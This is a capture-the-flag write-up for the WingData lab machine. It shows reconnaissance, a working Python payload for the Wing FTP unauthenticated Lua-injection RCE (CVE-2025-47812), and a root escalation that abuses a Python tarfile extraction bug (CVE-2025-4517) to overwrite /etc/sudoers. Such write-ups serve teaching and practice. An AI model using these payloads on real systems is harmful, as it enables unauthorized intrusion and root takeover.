Summary

WingData is a Linux machine built around Wing FTP Server. The intended path chains a Wing FTP unauthenticated RCE into credential recovery for SSH access as wacky, followed by a root escalation through a Python tarfile extraction bug exposed by a sudo-allowed restore script.

Attack chain:

Wing FTP exposure → config leakage / credential recovery → SSH as wacky → vulnerable tar restore script → root

StepTechniqueResult
Reconnmap, vhost checks, ffufWing FTP attack surface identified
Initial accessWing FTP RCE / recovered credentialsSSH as wacky
Privilege escalationCVE-2025-4517 (tarfile.extractall(filter="data"))root

Target

  • IP: 10.129.244.106
  • Hostnames: wingdata.htb, ftp.wingdata.htb

Reconnaissance

Port Scan

Start with a full TCP scan:

nmap -sS -T4 --min-rate 1000 -p- 10.129.244.106 -oA recon/nmap_full

Then verify service versions on the interesting ports:

nmap -sV -sC -p22,80 10.129.244.106 -oA recon/nmap_svc

Observed services during the engagement:

PortServiceNotes
22/tcpSSHOpenSSH on Debian
80/tcpHTTPRedirects to wingdata.htb
5466/tcpWing FTP adminMentioned in public write-ups, but filtered during this session

Main Web Root

Checking the web root shows the redirect behavior immediately:

curl -sI http://10.129.244.106/
curl --resolve wingdata.htb:80:10.129.244.106 http://wingdata.htb/ -o recon/home.html -D recon/home.headers

This confirms a vhost-based setup. Using --resolve is enough for quick testing without editing /etc/hosts.

VHost Discovery

Wing FTP commonly exposes multiple HTTP entry points, so enumerate vhosts early.

ffuf -w /usr/share/nmap/nselib/data/vhosts-full.lst \
  -u http://10.129.244.106/ \
  -H 'Host: FUZZ.wingdata.htb' \
  -fs 0 -mc all -of json -o recon/vhosts.json

Useful hits included:

  • wingdata.htb
  • ftp.wingdata.htb

FTP Web Interface

Fetch the FTP-facing site and its login page:

curl --resolve ftp.wingdata.htb:80:10.129.244.106 http://ftp.wingdata.htb/ -o recon/ftp.html -D recon/ftp.headers
curl --resolve ftp.wingdata.htb:80:10.129.244.106 http://ftp.wingdata.htb/login.html -o recon/login.html -D recon/login.headers

Directory fuzzing with ffuf helps confirm typical Wing FTP endpoints:

ffuf -w /usr/share/dirb/wordlists/common.txt \
  -u http://10.129.244.106/FUZZ \
  -H 'Host: ftp.wingdata.htb' \
  -mc all -fc 404 -ac -t 50 \
  -of json -o recon/ftp_dirs.json

Interesting paths include:

  • /login.html
  • /dir.html
  • /loginok.html

Fingerprinting Wing FTP

A quick fingerprint pass is enough to point at Wing FTP:

whatweb -a 3 http://10.129.244.106 -H 'Host: ftp.wingdata.htb'

At this point the attack surface is clear: Wing FTP is exposed over HTTP and is the most likely entry point.


User Flag

Vulnerability Discovery

Public information around the box points to Wing FTP Server 7.4.3 and CVE-2025-47812, an unauthenticated RCE in the product’s session handling. The vulnerable behavior abuses a NULL-byte truncation issue in username processing: authentication logic treats the user as anonymous, while session file creation still consumes the full malicious value and evaluates injected Lua.

A minimal local helper used during testing:

#!/usr/bin/env python3
import requests, sys, urllib.parse, base64

cmd = sys.argv[1]
wrapped = f"echo {base64.b64encode(cmd.encode()).decode()}|base64 -d|bash"
username = 'anonymous'
payload = (
    'username='+urllib.parse.quote(username)+
    '%00]]%0dlocal+h+%3d+io.popen("'+urllib.parse.quote(wrapped, safe='')+'")%0d'
    'local+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password='
)

r = requests.post('http://ftp.wingdata.htb/loginok.html',
                  data=payload,
                  headers={'Content-Type':'application/x-www-form-urlencoded'},
                  timeout=15)
print(r.text)

In this session, the FTP web interface became unstable later and started returning 502 Proxy Error, so I treated the web RCE as the path to recover credentials rather than the final shell. The important live validation came next: recovered SSH access as wacky worked.

SSH Access as wacky

Once the credentials were recovered, SSH access was straightforward:

The shell confirmed the foothold:

wacky@wingdata:~$ id
uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)

wacky@wingdata:~$ hostname
wingdata

User Flag

wacky@wingdata:~$ cat ~/user.txt
HTB{redacted}

Flag obtained as wacky.


Root Flag

Enumeration

As soon as SSH access is established, check sudo rights:

wacky@wingdata:~$ sudo -l

The key finding is a passwordless root execution path:

(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Read the script before touching it:

wacky@wingdata:~$ sed -n '1,220p' /opt/backup_clients/restore_backup_clients.py

Important parts:

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

Also confirm the Python version and directory permissions:

wacky@wingdata:~$ /usr/local/bin/python3 --version
Python 3.12.3

wacky@wingdata:~$ ls -ld /opt/backup_clients /opt/backup_clients/backups /opt/backup_clients/restored_backups
drwxr-x--- 4 root wacky 4096 Jan 12 08:43 /opt/backup_clients
drwxrwx--- 2 root wacky 4096 Jan 12 08:32 /opt/backup_clients/backups
drwxr-x--- 2 root wacky 4096 Jan 12 08:43 /opt/backup_clients/restored_backups

This is ideal:

  • wacky can place attacker-controlled tar files in backups/
  • root extracts them with tarfile.extractall(..., filter="data")
  • Python 3.12.3 is vulnerable to CVE-2025-4517

Why filter="data" Is Still Vulnerable

filter="data" is supposed to reject unsafe tar members such as:

  • absolute paths,
  • ../ traversal,
  • symlinks or hardlinks that resolve outside the extraction directory.

The bug is that path validation relies on realpath() behavior that can be confused once the resolved path grows beyond PATH_MAX on Linux. A carefully constructed chain of long symlinks can make the filtered path appear to stay inside the staging directory while the kernel ultimately resolves the link to a sensitive target such as /etc/sudoers.

That turns the restore feature into an arbitrary file write primitive as root.

Exploitation

I used a local exploit script that builds a malicious tar archive with:

  • deep long-name directory entries,
  • symlink chaining to trigger path truncation behavior,
  • a hardlink to /etc/sudoers,
  • a payload line granting wacky passwordless sudo.

Relevant parts of the exploit:

comp = 'd' * 247
steps = "abcdefghijklmnop"
sudoers_entry = f"{username} ALL=(ALL) NOPASSWD: ALL\n".encode()

# create symlink chain
# create escape symlink to /etc
# create hardlink to escape/sudoers
# write regular file over sudoers_link

Transfer the exploit to the box:

scp cve_2025_4517.py [email protected]:/tmp/cve_2025_4517.py

Run it on the target:

wacky@wingdata:~$ python3 /tmp/cve_2025_4517.py

The exploit succeeded live:

[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] SUCCESS! User 'wacky' added to sudoers

At that point, wacky has full sudo:

wacky@wingdata:~$ sudo -n /bin/bash -c 'id; whoami'
uid=0(root) gid=0(root) groups=0(root)
root

Root Flag

wacky@wingdata:~$ sudo -n /bin/bash -c 'cat /root/root.txt'
HTB{redacted}

Root obtained.